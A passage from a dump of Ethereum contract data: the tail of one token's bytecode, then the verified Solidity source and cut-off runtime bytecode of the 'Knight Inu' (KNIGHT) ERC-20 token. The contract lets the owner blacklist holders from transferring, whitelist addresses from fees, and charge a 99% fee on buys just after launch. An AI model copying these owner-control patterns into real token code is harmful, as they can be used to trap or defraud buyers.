5260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560009054906101000a900460ff161561138057600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561136d575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561137b57600090506113e1565b6113dc565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113db57600090506113e1565b5b600190505b919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600681526020017f4c5348415245000000000000000000000000000000000000000000000000000081525081565b60046020528060005260406000206000915054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561149e57600080fd5b6114a7336112b0565b6114b057600080fd5b61150282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061159782600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560009054906101000a900460ff1681565b60006116ed82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5190919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461193757600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561199057600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a4357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a7d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115611b4657fe5b818303905092915050565b600080828401905083811015611b6357fe5b809150509291505056fea2646970667358221220f26a6d79b212429f52b7ea77f9e62182c38817aa0549563f845df575ca6b9e6a64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,896
0xfbee286ca086792966d9722142e4196757457a2d
/** *Submitted for verification at Etherscan.io on 2022-01-06 */ /* */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Nice is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _maxTxAmount = _tTotal; uint256 private openBlock; uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens uint256 private _maxWalletAmount = _tTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Knight Inu"; string private constant _symbol = "KNIGHT"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4, address payable addr5) { _feeAddrWallet1 = addr1; _feeAddrWallet2 = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[addr4] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[addr5] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[addr3] = true; emit Transfer( address(0), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 12; if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Not over max tx amount require(amount <= _maxTxAmount, "Over max transaction amount."); // Cooldown require(cooldown[to] < block.timestamp, "Cooldown enforced."); // Max wallet require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount."); cooldown[to] = block.timestamp + (30 seconds); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _feeAddr1 = 1; _feeAddr2 = 12; } if (openBlock + 5 >= block.number && from == uniswapV2Pair) { _feeAddr1 = 1; _feeAddr2 = 99; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } else { // Only if it's not from or to owner or from contract address. _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from, to, amount); } function swapAndLiquifyEnabled(bool enabled) public onlyOwner { inSwap = enabled; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount * 10**9; } function setMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount * 10**9; } function whitelist(address payable adr1) external onlyOwner { _isExcludedFromFee[adr1] = true; } function unwhitelist(address payable adr2) external onlyOwner { _isExcludedFromFee[adr2] = false; } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; // .5% _maxTxAmount = 1000000000000 * 10**9; _maxWalletAmount = 2000000000000 * 10**9; tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function addBot(address theBot) public onlyOwner { bots[theBot] = true; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setSwapTokens(uint256 swaptokens) public onlyOwner { _swapTokensAtAmount = swaptokens; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf91461043f578063dd62ed3e14610456578063e98391ff14610493578063ec28438a146104bc578063f4293890146104e5578063ffecf516146104fc5761014b565b80638da5cb5b1461033157806395d89b411461035c5780639a590427146103875780639b19251a146103b0578063a9059cbb146103d9578063bf6642e7146104165761014b565b806327a14fc21161010857806327a14fc214610249578063313ce5671461027257806351bc3c851461029d5780635932ead1146102b457806370a08231146102dd578063715018a61461031a5761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e3578063273123b7146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610525565b60405161017291906131e3565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612d24565b610562565b6040516101af91906131c8565b60405180910390f35b3480156101c457600080fd5b506101cd610580565b6040516101da91906133a5565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612cd5565b610592565b60405161021791906131c8565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612c1e565b61066b565b005b34801561025557600080fd5b50610270600480360381019061026b9190612db2565b61075b565b005b34801561027e57600080fd5b50610287610809565b604051610294919061341a565b60405180910390f35b3480156102a957600080fd5b506102b2610812565b005b3480156102c057600080fd5b506102db60048036038101906102d69190612d60565b61082b565b005b3480156102e957600080fd5b5061030460048036038101906102ff9190612c1e565b6108dd565b60405161031191906133a5565b60405180910390f35b34801561032657600080fd5b5061032f61092e565b005b34801561033d57600080fd5b50610346610a81565b60405161035391906130fa565b60405180910390f35b34801561036857600080fd5b50610371610aaa565b60405161037e91906131e3565b60405180910390f35b34801561039357600080fd5b506103ae60048036038101906103a99190612c70565b610ae7565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612c70565b610bd7565b005b3480156103e557600080fd5b5061040060048036038101906103fb9190612d24565b610cc7565b60405161040d91906131c8565b60405180910390f35b34801561042257600080fd5b5061043d60048036038101906104389190612db2565b610ce5565b005b34801561044b57600080fd5b50610454610d84565b005b34801561046257600080fd5b5061047d60048036038101906104789190612c99565b6112f9565b60405161048a91906133a5565b60405180910390f35b34801561049f57600080fd5b506104ba60048036038101906104b59190612d60565b611380565b005b3480156104c857600080fd5b506104e360048036038101906104de9190612db2565b611432565b005b3480156104f157600080fd5b506104fa6114e0565b005b34801561050857600080fd5b50610523600480360381019061051e9190612c1e565b6114f1565b005b60606040518060400160405280600a81526020017f4b6e6967687420496e7500000000000000000000000000000000000000000000815250905090565b600061057661056f6115e1565b84846115e9565b6001905092915050565b600069152d02c7e14af6800000905090565b600061059f8484846117b4565b610660846105ab6115e1565b61065b85604051806060016040528060288152602001613a3660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106116115e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200b9092919063ffffffff16565b6115e9565b600190509392505050565b6106736115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f7906132a5565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6107636115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e7906132a5565b60405180910390fd5b633b9aca00816108009190613511565b600d8190555050565b60006009905090565b600061081d306108dd565b90506108288161206f565b50565b6108336115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906132a5565b60405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b6000610927600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612369565b9050919050565b6109366115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ba906132a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4b4e494748540000000000000000000000000000000000000000000000000000815250905090565b610aef6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b73906132a5565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bdf6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c63906132a5565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610cdb610cd46115e1565b84846117b4565b6001905092915050565b610ced6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d71906132a5565b60405180910390fd5b80600c8190555050565b610d8c6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e10906132a5565b60405180910390fd5b601360149054906101000a900460ff1615610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6090613345565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610efa30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af68000006115e9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f4057600080fd5b505afa158015610f54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f789190612c47565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fda57600080fd5b505afa158015610fee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110129190612c47565b6040518363ffffffff1660e01b815260040161102f929190613115565b602060405180830381600087803b15801561104957600080fd5b505af115801561105d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110819190612c47565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061110a306108dd565b600080611115610a81565b426040518863ffffffff1660e01b815260040161113796959493929190613167565b6060604051808303818588803b15801561115057600080fd5b505af1158015611164573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111899190612ddb565b5050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550683635c9adc5dea00000600a81905550686c6b935b8bbd400000600d819055506001601360146101000a81548160ff02191690831515021790555043600b81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112a392919061313e565b602060405180830381600087803b1580156112bd57600080fd5b505af11580156112d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f59190612d89565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113886115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140c906132a5565b60405180910390fd5b80601360156101000a81548160ff02191690831515021790555050565b61143a6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be906132a5565b60405180910390fd5b633b9aca00816114d79190613511565b600a8190555050565b60004790506114ee816123d7565b50565b6114f96115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611586576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157d906132a5565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611659576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165090613325565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c090613245565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117a791906133a5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b90613305565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b90613205565b60405180910390fd5b600081116118d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ce906132c5565b60405180910390fd5b6001600e81905550600c600f819055506118ef610a81565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561195d575061192d610a81565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561199557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119eb5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a415750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fea57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611aea5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611af357600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b9e5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c0c5750601360179054906101000a900460ff165b15611d8057600a54811115611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d90613365565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90613385565b60405180910390fd5b600d5481611ce4846108dd565b611cee919061348a565b1115611d2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d26906132e5565b60405180910390fd5b601e42611d3c919061348a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611e2b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e815750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e97576001600e81905550600c600f819055505b436005600b54611ea7919061348a565b10158015611f025750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16837